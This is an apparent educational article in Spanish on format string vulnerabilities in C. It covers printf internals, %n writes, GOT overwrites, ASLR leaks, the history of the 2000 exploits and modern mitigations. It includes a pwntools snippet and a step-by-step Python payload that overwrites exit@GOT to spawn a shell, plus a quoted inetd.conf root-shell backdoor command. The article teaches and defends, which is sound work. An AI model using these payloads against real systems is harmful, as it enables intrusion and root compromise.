Avanzadovulnerabilidadesformat-stringmemoriaavanzado

Format String Vulnerabilities: printf como Arma

Las vulnerabilidades de format string permiten a un atacante leer y escribir memoria arbitraria a través de funciones como printf. Descubiertas en el año 2000, devastaron servidores Unix durante años. Análisis técnico completo con ejemplos en C.

MalwareIntel Research··18 min lectura·1 técnica ATT&CK

La cadena de texto que lee y escribe memoria

En el año 2000, la comunidad de seguridad descubrió que una de las funciones más básicas de C, printf, podía convertirse en una primitiva de lectura y escritura de memoria arbitraria. No hacía falta desbordar ningún buffer. Bastaba con controlar la cadena de formato que recibía la función.

Las vulnerabilidades de format string son, conceptualmente, una de las clases de bugs más elegantes y devastadoras de la historia de la seguridad informática. Un simple printf(user_input) en lugar de printf("%s", user_input) otorga al atacante la capacidad de inspeccionar la pila, leer memoria de cualquier dirección y escribir valores arbitrarios en ubicaciones de memoria controladas.

Este artículo explica cómo funciona printf internamente, cómo se explotan estas vulnerabilidades paso a paso, la historia de los primeros exploits que sacudieron Internet, y por qué, a pesar de las protecciones modernas, esta clase de bug no ha desaparecido del todo.

Cómo funciona printf por dentro

Para entender la vulnerabilidad hay que entender el mecanismo de printf. En C, las funciones con número variable de argumentos (variadic functions) se implementan mediante el mecanismo va_args.

Cuando un programador escribe:

int count = 42;
char *name = "malware";
printf("Detectados %d IOCs de %s\n", count, name);

El compilador coloca los argumentos en la pila (o en registros, según la convención de llamada de la arquitectura). printf recibe la cadena de formato como primer argumento y luego recorre esa cadena buscando especificadores (marcados con %). Por cada especificador que encuentra, consume el siguiente argumento de la pila.

Los especificadores más comunes:

EspecificadorFunción
%dLee un entero de la pila y lo imprime como decimal
%xLee un entero de la pila y lo imprime como hexadecimal
%sLee un puntero de la pila y imprime la cadena apuntada
%pLee un puntero y lo imprime como dirección
%nEscribe el número de caracteres impresos hasta ahora en la dirección apuntada por el siguiente argumento
%cLee un byte de la pila y lo imprime como carácter

El punto crítico: printf no tiene forma de saber cuántos argumentos se le pasaron realmente. Confía ciegamente en que la cadena de formato coincide con los argumentos proporcionados. Si la cadena contiene más especificadores que argumentos reales, printf seguirá leyendo la pila, consumiendo datos que no le pertenecen.

La convención de llamada en x86

En arquitectura x86 (32 bits), los argumentos se pasan en la pila. Esto significa que los datos que printf lee con cada %x son literalmente los siguientes valores en la pila del programa:

[dirección retorno] [cadena formato] [arg1] [arg2] [arg3] ...
                                      ↑       ↑       ↑
                                     %x      %x      %x

Si no hay argumentos reales, printf lee lo que haya en la pila: variables locales, direcciones de retorno, canarios de protección, punteros a funciones. Información que el atacante nunca debería poder ver.

En x86-64, los primeros argumentos van en registros (RDI, RSI, RDX, RCX, R8, R9) y los siguientes en la pila. La mecánica es similar, pero el atacante necesita más especificadores para alcanzar la pila.

El código vulnerable

La vulnerabilidad aparece cuando la entrada del usuario se pasa directamente como cadena de formato:

// VULNERABLE: el usuario controla la cadena de formato
void log_message(char *user_input) {
    printf(user_input);  // ← aquí está el bug
}

// SEGURO: la entrada del usuario es un argumento, no el formato
void log_message_safe(char *user_input) {
    printf("%s", user_input);  // ← el formato es constante
}

La diferencia es sutil pero fundamental. En la versión vulnerable, si el usuario envía %x.%x.%x.%x, printf interpreta cada %x como instrucción de leer un valor hexadecimal de la pila. En la versión segura, %s es el formato (constante) y la entrada del usuario se imprime literalmente como cadena de texto.

Otros puntos de entrada comunes en código vulnerable:

// Todas estas son vulnerables si user_input no se valida
fprintf(stderr, user_input);
sprintf(buffer, user_input);
snprintf(buffer, sizeof(buffer), user_input);
syslog(LOG_INFO, user_input);  // Frecuente en daemons

Fase 1: Lectura de la pila con %x

El primer paso de la explotación es inspeccionar la pila para entender la distribución de memoria del proceso. El atacante envía una cadena con múltiples especificadores %x (o %p para punteros completos):

Entrada: %x.%x.%x.%x.%x.%x.%x.%x
Salida:  bffff4a0.0000000a.080484d0.b7fe2000.bffff4c8.08048530.bffff750.00000001

Cada valor hexadecimal es un dato real de la pila del proceso. El atacante puede identificar:

  • Direcciones de retorno: apuntan a secciones .text (comienzan con 0x0804xxxx en ejecutables de 32 bits)
  • Punteros a la pila: comienzan con 0xbfff o 0x7fff (dependiendo de la arquitectura)
  • Direcciones de libc: comienzan con 0xb7 o 0x7f (permiten calcular la base de libc)
  • Canarios de pila: valores aleatorios que delatan protecciones de stack

Acceso directo con el operador $

El operador $ permite al atacante acceder directamente a una posición específica de la pila sin consumir las intermedias:

%7$x    → lee el 7.º argumento como hexadecimal
%15$s   → lee el 15.º argumento como puntero e imprime la cadena apuntada
%7$n    → escribe en la dirección del 7.º argumento

Esto es crucial porque permite al atacante construir payloads precisos sin necesidad de una cadena gigante de %x previos.

Fase 2: Lectura de memoria arbitraria con %s

El especificador %s interpreta el valor en la pila como un puntero y lee la cadena de texto apuntada. Si el atacante puede colocar una dirección específica en la pila, puede leer memoria de cualquier ubicación.

El truco: la propia entrada del usuario está en la pila (como buffer local de la función). Si el atacante incluye una dirección al principio de su input, esa dirección aparecerá en alguna posición de la pila. Combinando esto con %N$s:

// El atacante envía (en binario):
// [dirección 4 bytes] + "%7$s"
// La dirección objetivo aparece en la posición 7 de la pila
// %7$s la interpreta como puntero y lee la cadena en esa dirección

En la práctica, el atacante primero usa %x para localizar su propio input en la pila (busca el patrón 41414141 enviando "AAAA%x.%x.%x..."). Una vez conoce el offset, puede leer cualquier dirección de memoria legible del proceso.

Fase 3: Escritura de memoria arbitraria con %n

El verdadero poder destructivo de las format strings reside en %n. Este especificador escribe el número de caracteres impresos hasta ese punto en la dirección de memoria apuntada por el argumento correspondiente.

Escritura básica

// Ejemplo legítimo de %n
int chars_printed;
printf("Hello%n", &chars_printed);
// chars_printed == 5 (longitud de "Hello")

Explotación: controlando el valor escrito

El atacante controla cuántos caracteres se imprimen usando el especificador de ancho %Nc (imprime N espacios). Combinado con %n:

%100c%7$n   → imprime 100 caracteres, luego escribe el valor 100
              en la dirección que está en la posición 7 de la pila

Si el atacante ha colocado la dirección de la GOT (Global Offset Table) en la posición 7, acaba de sobrescribir una entrada de la GOT con el valor 100.

Escritura precisa con %hn y %hhn

Escribir un valor grande (como una dirección de 4 bytes 0x08048456) requeriría imprimir más de 134 millones de caracteres. No es práctico. La solución es escribir byte a byte o en fragmentos de 2 bytes:

EspecificadorBytes escritos
%n4 bytes (int)
%hn2 bytes (short)
%hhn1 byte (char)
%lln8 bytes (long long, x86-64)

Para escribir la dirección 0x08048456 en la GOT:

Dirección GOT: 0x0804a010

Escritura en dos partes:
  Bytes bajos (0x8456) en 0x0804a010 → %33878c%7$hn
  Bytes altos (0x0804) en 0x0804a012 → %2048c%8$hn
  (ajustando por el conteo acumulado de caracteres)

El payload final contiene las dos direcciones de destino seguidas de los especificadores de formato calibrados. El atacante escribe una dirección completa en la GOT con solo una llamada a printf.

GOT Overwrite: redirigir la ejecución

La Global Offset Table (GOT) es una estructura que los ejecutables con enlace dinámico usan para resolver direcciones de funciones de librerías compartidas. Cuando el programa llama a printf(), en realidad salta a la dirección almacenada en printf@GOT. La primera vez, esta dirección apunta al enlazador dinámico, que resuelve la dirección real y la almacena en la GOT para llamadas posteriores.

La GOT es escribible (a menos que RELRO completo esté activado). Esto convierte la GOT en el objetivo perfecto para un format string attack:

  1. El atacante identifica la dirección de printf@GOT (o exit@GOT, puts@GOT)
  2. Usa %hn para sobrescribir esa entrada con la dirección de system() en libc
  3. La próxima vez que el programa llama a printf(buffer), en realidad ejecuta system(buffer)
  4. Si el buffer contiene /bin/sh, el atacante obtiene un shell
# Ejemplo simplificado con pwntools
from pwn import *

elf = ELF('./vulnerable')
libc = ELF('./libc.so.6')

# Calcular dirección de system() en runtime
libc_base = leaked_address - libc.sym['printf']
system_addr = libc_base + libc.sym['system']

# Generar payload que sobrescribe printf@GOT con system()
payload = fmtstr_payload(6, {elf.got['printf']: system_addr})

Bypass de ASLR con format string leaks

ASLR (Address Space Layout Randomization) aleatoriza las direcciones base de la pila, el heap, las librerías compartidas y (con PIE) el propio ejecutable en cada ejecución. Esto dificulta la explotación porque el atacante no sabe dónde están system() o la GOT.

Las format strings proporcionan un bypass natural: el atacante puede filtrar direcciones de la pila que revelan la ubicación de libc u otras regiones de memoria.

El ataque en dos fases:

  1. Filtración: enviar %p.%p.%p... para obtener punteros de libc o del ejecutable desde la pila
  2. Cálculo: restar el offset conocido del símbolo filtrado para obtener la base de libc
  3. Explotación: construir el payload de GOT overwrite con las direcciones reales
Fase 1: Leak
  Entrada: %3$p
  Salida: 0x7f3a2c4567d0  ← dirección de __libc_start_main+240

Fase 2: Cálculo
  libc_base = 0x7f3a2c4567d0 - 0x270b0  (offset conocido)
  system = libc_base + 0x4f440

Fase 3: Exploit
  Payload con %hn para escribir system en GOT

Este patrón de "leak + calculate + write" es la base de la explotación moderna de format strings y se aplica incluso con ASLR y PIE activados (siempre que la GOT sea escribible).

Historia: el año 2000 y la ola de format strings

Las vulnerabilidades de format string fueron identificadas como clase de bug explotable alrededor del año 2000, aunque el código vulnerable llevaba existiendo años. Los eventos clave:

WuFTPd (CVE-2000-0573, junio de 2000)

Wu-ftpd era el servidor FTP más popular en sistemas Unix y Linux. La función lreply() pasaba entrada del usuario directamente como cadena de formato a funciones de tipo *printf(). Un atacante conectado como usuario anónimo podía ejecutar comandos como root a través del comando SITE EXEC.

El advisory de AUSCERT (AA-2000.02) describió la vulnerabilidad y su gravedad. El bug llevaba en el código base de wu-ftpd desde la versión 2.0, publicada en 1993. Durante siete años, cualquier servidor FTP público con wu-ftpd instalado era explotable de forma remota con privilegios de root.

rpc.statd (CVE-2000-0666, agosto de 2000)

El daemon rpc.statd, incluido por defecto en la mayoría de distribuciones Linux, pasaba datos del usuario directamente a syslog() como cadena de formato. El CERT/CC emitió el advisory CA-2000-17 tras recibir reportes de explotación activa. El exploit permitía ejecución remota de código como root sin ninguna autenticación.

Los logs de sistemas comprometidos mostraban payloads de format string seguidos de comandos como echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf, que añadían un backdoor al sistema.

GNU screen (septiembre de 2000)

El multiplexor de terminal screen, que se ejecutaba con privilegios setuid root en distribuciones como Red Hat Linux 5.2, permitía al usuario configurar un mensaje de visual bell. Este mensaje se procesaba como cadena de formato en lugar de como cadena literal. Red Hat publicó RHSA-2000:058-03 con la corrección.

La cascada de advisories

Tras estos descubrimientos iniciales, la comunidad de seguridad realizó auditorías masivas de código Unix buscando el patrón printf(user_controlled). El resultado fue una avalancha de CVEs en el segundo semestre de 2000: cfengine, LPRng, glibc locale, Netscape Directory Server, tcsh, stunnel y decenas de programas más contenían format strings vulnerables.

El investigador Tim Newsham publicó el paper "Format String Attacks" (septiembre de 2000) que formalizó la técnica y demostró que %n convertía cualquier format string en una primitiva de escritura de memoria completa. El paper de scut/team teso "Exploiting Format String Vulnerabilities" se convirtió en la referencia técnica definitiva.

¿Por qué son raras hoy?

Las vulnerabilidades de format string pasaron de ser una epidemia en 2000 a ser relativamente raras en software moderno de escritorio y servidor. Las razones:

Warnings del compilador

GCC y Clang emiten warnings cuando detectan que una cadena de formato no es una constante literal:

$ gcc -Wall -Wformat-security vulnerable.c
vulnerable.c:5:5: warning: format not a string literal
  and no format arguments [-Wformat-security]
    printf(user_input);
    ^

La flag -Wformat (incluida en -Wall) y -Wformat-security detectan los patrones más evidentes. Muchos proyectos compilan con -Werror que convierte estos warnings en errores de compilación.

FORTIFY_SOURCE

La macro _FORTIFY_SOURCE (niveles 1 y 2) reemplaza las funciones printf de la libc con versiones fortificadas que detectan format strings sin argumentos correspondientes en tiempo de ejecución:

# Compilar con FORTIFY_SOURCE nivel 2
gcc -D_FORTIFY_SOURCE=2 -O2 programa.c -o programa

Con FORTIFY_SOURCE=2, si printf recibe una cadena de formato con especificadores %n y la cadena no es una constante literal del programa, la ejecución se aborta inmediatamente con un mensaje de error. La mayoría de distribuciones Linux modernas activan FORTIFY_SOURCE por defecto.

RELRO (RELocation Read-Only)

Full RELRO hace que la GOT sea de solo lectura tras el enlace dinámico, eliminando el vector de GOT overwrite:

# Compilar con Full RELRO
gcc -Wl,-z,relro,-z,now programa.c -o programa

# Verificar protecciones
checksec --file=programa
  RELRO: Full RELRO    ← GOT no escribible
  Stack: Canary found
  NX:    NX enabled
  PIE:   PIE enabled

PIE (Position Independent Executable)

Con PIE activado, ni siquiera el propio ejecutable tiene direcciones fijas. El atacante necesita una filtración para conocer cualquier dirección del espacio de memoria, complicando enormemente la explotación.

Donde sobreviven: IoT y sistemas embebidos

A pesar de las protecciones en software de escritorio, las format strings persisten en nichos donde las protecciones del compilador no se aplican:

Firmware de dispositivos IoT

Los routers, cámaras IP, impresoras de red y dispositivos IoT a menudo se compilan con toolchains cruzadas que no activan -Wformat-security ni FORTIFY_SOURCE. El firmware puede basarse en versiones antiguas de librerías. En 2023 y 2024 se reportaron múltiples CVEs de format string en routers D-Link, firmwares de Zyxel y controladores de dispositivos de red.

Sistemas SCADA/ICS

Los sistemas de control industrial ejecutan software que puede tener décadas de antigüedad, compilado sin protecciones modernas y sin posibilidad de recompilación porque el fabricante ya no existe o el contrato de mantenimiento no cubre actualizaciones de seguridad.

Software embebido en automoción y médico

Los sistemas de infoentretenimiento de vehículos y los dispositivos médicos conectados ejecutan software embebido donde las auditorías de seguridad han revelado format strings vulnerables en interfaces de diagnóstico y protocolos de comunicación.

Código legacy en producción

Aplicaciones empresariales escritas en C/C++ hace 15 o 20 años que siguen en producción sin recompilar. El código fuente puede estar disponible, pero la organización no tiene capacidad ni incentivos para modernizar el build system.

Ejemplo completo de explotación paso a paso

Para consolidar los conceptos, veamos un escenario completo contra un binario de 32 bits sin RELRO, sin PIE y sin ASLR (condiciones de un CTF o de firmware embebido):

// vulnerable.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void secret_shell() {
    system("/bin/sh");
}

int main() {
    char buffer[256];

    while (1) {
        printf("Input: ");
        fgets(buffer, sizeof(buffer), stdin);
        printf(buffer);  // ← vulnerabilidad
    }
    return 0;
}

Paso 1: Localizar nuestro input en la pila

Input: AAAA%x.%x.%x.%x.%x.%x.%x.%x
AAAA.bffff4a0.100.80484d0.b7fe2000.bffff4c8.41414141.252e7825.78252e78
                                                 ↑
                                     Nuestro "AAAA" en posición 6

El valor 41414141 (hex para "AAAA") aparece en la posición 6.

Paso 2: Obtener direcciones

$ objdump -t vulnerable | grep secret_shell
08048456 g     F .text  0000001a secret_shell

$ objdump -R vulnerable | grep exit
0804a010 R_386_JUMP_SLOT   exit

Paso 3: Construir el payload

Queremos escribir 0x08048456 (dirección de secret_shell) en 0x0804a010 (exit@GOT):

import struct

exit_got_low  = struct.pack("<I", 0x0804a010)  # bytes bajos
exit_got_high = struct.pack("<I", 0x0804a012)  # bytes altos

# Escribir 0x8456 en bytes bajos (posición 6 de la pila)
# Escribir 0x0804 en bytes altos (posición 7 de la pila)
# 8 bytes de direcciones ya impresos

low_value = 0x8456 - 8          # = 33870
high_value = 0x0804 - 0x8456    # negativo, sumamos 0x10000 = 32686

payload = exit_got_low + exit_got_high
payload += f"%{low_value}c%6$hn".encode()
payload += f"%{high_value}c%7$hn".encode()

Paso 4: Ejecutar

Al enviar el payload, printf sobrescribe exit@GOT con la dirección de secret_shell. Cuando el programa llama a exit() (o cuando el atacante provoca una llamada a exit), la ejecución salta a secret_shell() y se obtiene un shell.

Variantes y técnicas avanzadas

Escritura de ROP chains

En binarios con NX activado (pila no ejecutable), el atacante puede usar format strings para escribir una cadena ROP (Return-Oriented Programming) completa en la pila o en la GOT, encadenando gadgets para lograr ejecución de código.

Format string + heap overflow

En algunos escenarios, la cadena de formato se almacena en el heap. El atacante puede combinar un heap overflow para manipular metadatos de malloc con un format string para escribir direcciones precisas, logrando una primitiva de escritura más potente.

Blind format strings

Cuando el atacante no puede ver la salida de printf (por ejemplo, la salida va a un fichero de log), aún puede explotar la escritura con %n de forma ciega. Conociendo offsets estáticos del binario (sin PIE) y usando técnicas de fuerza bruta parcial para ASLR, la explotación es posible sin feedback visual.

Detección y prevención

Para desarrolladores

  1. Regla de oro: nunca pasar entrada del usuario como cadena de formato. Siempre usar printf("%s", input).
  2. Compilar con warnings: -Wall -Wformat -Wformat-security -Werror
  3. Activar FORTIFY_SOURCE: -D_FORTIFY_SOURCE=2 -O2
  4. Full RELRO + PIE: -Wl,-z,relro,-z,now -fPIE -pie
  5. Auditar funciones variádicas: printf, sprintf, fprintf, snprintf, syslog, err, warn y cualquier wrapper personalizado

Para analistas de seguridad

  1. Buscar el patrón: printf(variable) donde variable es controlable por el usuario
  2. Verificar protecciones del binario: checksec para comprobar RELRO, PIE, FORTIFY_SOURCE, NX, canarios
  3. Firmware: desempaquetar con binwalk y auditar llamadas a *printf y syslog en binarios embebidos
  4. Fuzzing: herramientas como AFL++ con un harness que inyecte format specifiers en inputs

Para operadores SOC

Indicadores de un ataque de format string en tráfico de red o logs:

  • Cadenas con múltiples %x, %p, %s, %n en campos de input
  • Secuencias de bytes no imprimibles seguidas de % y especificadores
  • Respuestas del servidor con valores hexadecimales inesperados (filtración de pila)
  • Crashes repetidos de servicios que procesan input de texto (syslog, FTP, web)

Relevancia en el mapa ATT&CK

Las format strings se clasifican bajo T1203 (Exploitation for Client Execution) cuando se explotan en aplicaciones cliente, y bajo T1190 (Exploit Public-Facing Application) cuando el objetivo es un servicio de red. La técnica proporciona ejecución de código arbitrario, que el atacante puede usar como punto de entrada para persistencia (T1547), movimiento lateral (T1021) o escalación de privilegios (T1068).

En el contexto de IoT y sistemas embebidos, las format strings son un vector de acceso inicial habitual que los analistas de CTI deben tener en su radar, especialmente en campañas dirigidas a infraestructura de red y dispositivos de perímetro.

Conclusión

Las vulnerabilidades de format string representan uno de los descubrimientos más impactantes en la historia de la seguridad del software. La idea de que una función de impresión de texto pueda convertirse en una primitiva de lectura y escritura de memoria arbitraria es contraintuitiva y, para los estándares de 2000, era devastadora.

Hoy, las protecciones del compilador y del sistema operativo han reducido drásticamente su incidencia en software moderno. Pero el patrón subyacente (confiar en que el usuario proporcionará datos en el formato esperado) es una lección universal que trasciende C y printf. Cada vez que un sistema interpreta datos del usuario como instrucciones (sea una cadena de formato, una query SQL, una plantilla HTML o un comando de shell), existe el riesgo de inyección.

Para el analista de seguridad en 2026, las format strings son relevantes en tres dimensiones: como base conceptual para entender la corrupción de memoria, como vulnerabilidad activa en firmware y sistemas embebidos, y como recordatorio de que las defensas del compilador no sustituyen al código correcto.

Técnicas MITRE ATT&CK referenciadas

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.